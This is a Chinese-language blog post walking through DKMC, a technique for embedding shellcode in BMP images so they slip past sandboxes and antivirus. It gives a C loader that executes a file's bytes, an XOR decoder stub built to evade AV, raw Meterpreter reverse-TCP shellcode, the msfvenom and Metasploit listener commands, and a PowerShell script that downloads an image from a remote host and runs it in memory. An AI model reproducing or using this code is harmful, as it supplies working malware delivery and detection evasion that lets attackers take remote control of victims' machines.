Jirairya

DKMC

2017-09-13
     

在BMP文件插入shellcode

设想

在目标执行shellcode之前,应该考虑:

shellcode

大量沙盒只会分析可执行程序,DLL,Word文件,Java 程序等,对于图片文件或其他的危害小的文件并不会消耗CPU资源去着重分析。

BMP文件

典型的BMP图像由四部分组成:

  • 位图文件头数据结构,包含BMP图像文件的类型、显示内容等信息
  • 位图信息数据结构,包含BMP图像的宽、高、压缩方法,以及颜色定义
  • 调色板,该部分可选,有些位图需要调色板,有些位图(真彩色图,24位的BMP)就不需要调色板
  • 位图数据,这部分的内容根据BMP位图使用的位数不同而不同,在24位图中直接使用RGB,而其他的小于24位的使用调色板中颜色索引值

BMP头文件格式

BMP的头:

起始地址 字节 描述
0 2 signature为4D42(即’BM’)
2 4 BMP文件字节大小
6 2 保留区域,为0
8 2 保留区域,为0
10 4 图片数据起始偏移值
14 4 位图头信息结构大小,为40
18 4 图片的像素宽度
22 4 图片的像素高度
26 2 图像的平面数(目标设备的级别),为1
28 2 每个像素的比特数,为1(双色),4(16色),8(256色),24(真彩色)
30 4 压缩类型(0=none,1=RLE-8,2=RLE-4)
34 4 图像数据大小(包括填充数据)
38 4 位图水平分辨率,单位像素/m
42 4 位图垂直分辨率,单位像素/m
46 4 图像实际使用的颜色数量,可能为0
50 4 图像显示过程中重要颜色数量,可能为0

BMP的头

例如,有效的BM头:

0x4d42deadbeef00000000
  |   |       |   |________ .reversed,可能为0
  |   |       |____________ .reversed,可能为0
  |   |
  |   |____________________ .size of BMP
  |
  |_________________________ .signature(BM)

BMP的延伸

同样的有效的BMP也可以称为有效的shellcode。

BM是BMP必须包含的头标志

0x424d的汇编形式为:

0: 42 inc edx
1: 4d dec ebp

这些没有内存指向的结构不会崩溃:

mov eax, DWORD [ecx + 0x13]

危险的代码会崩溃,因为没有方法可以确认ecx寄存器指向初始化的数据。

修改之前,十六进制编辑器打开是:

16进制编辑器修改之后为:

图片变为:

降低像素高度:

BMP->shellcode

调整BMp的头,跳转到0x0003c650地址处的shellcode:

BM + jmp instruction = 3 bytes
jmp 0x0003c650 – 0x3 = opcode e9 49 c6 03 00

测试图片:

#include <Windows.h>
int main(int argc, char **argv) {
HANDLE hFile = NULL;
CHAR *buffer = NULL;
DWORD dwSize = 0;
DWORD dwReaded = 0;
int(*shellcode)(void);
hFile = CreateFile(argv[1],
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile != INVALID_HANDLE_VALUE) {
dwSize = GetFileSize(hFile, NULL);
buffer = GlobalAlloc(GPTR, dwSize);
printf("Buffer located at %p\n", buffer);
ReadFile(hFile, buffer, dwSize, &dwReaded, NULL);
shellcode = (int(*)())buffer;
shellcode();
}
return 0;
}

开始通过调试器调试执行程序,并在调用EAX处下断点,EAX指向包含图片的缓冲区:

F7跳转到图像shellcode处:

因此这样就可以创建出有效可用的shellcode payload。

混淆payload

一张图片也可以称为有效的shellcode payload。这张图可以在网络上传输,也一样可以作为shellcode执行。

至此,就可以绕过大部分的沙盒,很多沙盒并不会分析这张简单的BMP图片。

IDS/IPS和AV可能会执行静态分析,检测恶意程序(meterpreter和Cobalt Strike Beacon)

接下来就是混淆payload,可以通过使用简单的逻辑操作加密shellcode,比如使用异或(xor)

密钥为在0x111111110xffffffff32位的整型数。

为了防止爆破出真实代码,模糊处理时一定要使用key。

通过84字节的汇编代码规避AV:

0: eb 44              jmp   46
2: 58                 pop   eax
3: 68 XX XX XX XX     push  0xXXXXXXXX
8: 5e                 pop   esi
9: 31 c9              xor   ecx,ecx
b: 89 cb              mov   ebx,ecx
d: 6a 04              push  0x4
f: 5a                 pop   edx
10: 68 XX XX XX XX    push  0xXXXXXXXX
15: 5e                pop   esi
16: ff 30             push  DWORD PTR [eax]  <--.
18: 59                pop   ecx                 |
19: 0f c9             bswap ecx                 |
1b: 43                inc   ebx                 |
1c: 31 d9             xor   ecx,ebx             |
1e: 81 f9 XX XX XX XX cmp   ecx,0xMAGIC         |           
24: 68 XX XX XX XX    push  0xXXXXXXXX          |
29: 5f                pop   edi                 |
2a: 75 f0             jne   16   <--------------.
2c: 0f cb             bswap ebx
2e: b9 02 00 00 00    mov   ecx,0x2
33: 01 d0             add   eax,edx <------------. 
35: 31 18             xor   DWORD PTR [eax],ebx  |
37: 68 XX XX XX XX    push  0xXXXXXXXX           |
3c: 5f                pop   edi                  |
3d: e2 f4             loop  33 <-----------------.
3f: 2d 04 00 00 00    sub   eax,0x4
44: ff e0             jmp   eax
46: e8 b7 ff ff ff    call  2

最后混淆的代码有如下的结构:

假定密钥为:0x13371337 魔术数为:0x41414141

0x41414141 + original shellcode
     ⊕          ⊕         ⊕
0x13371337 0x13371337 0x13371337
     =
0x52765276 0x4bcdf61a 0x1831daee
a:  43                inc   ebx
b:  ff 30             push  DWORD PTR [eax]
d:  59                pop   ecx
e:  0f c9             bswap ecx
10: 31 d9             xor   ecx,ebx
12: 81 f9 XX XX XX XX ecx,  0xXXXXXXXX
18: 75 f0             jne   a

EBX包含测试所用密钥 EAX指向混淆数据 EAX中的32位值压栈,然后从ECX寄存器pop,所有的ECX的值被交换,ECX中的值和EBX中的值进行异或,异或结果将和魔术数进行比较,直到ECX的值匹配魔术数为止。

1e:     b9 XX XX XX XX          mov ecx,0xXXXXXXXX
21:     01 d0                   add eax,edx
23:     31 18                   xor DWORD PTR [eax],ebx
25:     e2 fa                   loop 21

ECX寄存器作为循环体的计数器 DWORD=4字节。循环次数=shellcode长度/4 用EBX中的密钥异或已混淆的4字节shellcode 循环直到所有值的混淆已经解开

27:     2d XX XX XX XX      sub   eax,0xXXXXXXXX
2b:     ff e0               jmp   eax

EAX现在指向shellcode的结尾 为了指向起始位置,减少shellcode长度 跳转到解混淆的shellcode 执行最后的payload(meterpreter/Cobalt Strike beacon)

运行程序

\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5

调试

在xp下使用OD,在40106D下断点

F9运行,F7跳转到shellcode中:

利用

使用msfvenom生成shellcode:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.222.141 LPORT=2333 -f c > cat.c

shellcode内容如下:

\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\xde\x8d\x68\x02\x00\x09\x1d\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5

使用DKMC,将shellcode写入图片文件:

在msf中配置,监听:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.222.141
LHOST => 192.168.222.141
msf exploit(handler) > set LPORT 2333
LPORT => 2333
msf exploit(handler) > run

在windows7中使用加载器加载图片:

返回meterpreter:

Powershell payload

生成powershell的payload,然后下载并在内存中运行。

使用脚本下载图片取决于System.Net.WebClient,然后分配虚拟空间、创造线程执行shellcode

[Byte[]]$var_code = (New-Object
System.Net.WebClient).DownloadData("http://image.com/cat.bmp")
$var_buffer =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get
_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr],
[UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero,
$var_code.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer,
$var_code.length)
$var_hthread =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get
_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr],
[UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])
([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get
_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type
@([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null

参考:https://github.com/Mr-Un1k0d3r/DKMC


Similar Posts

下一篇 日常使用Linux

Comments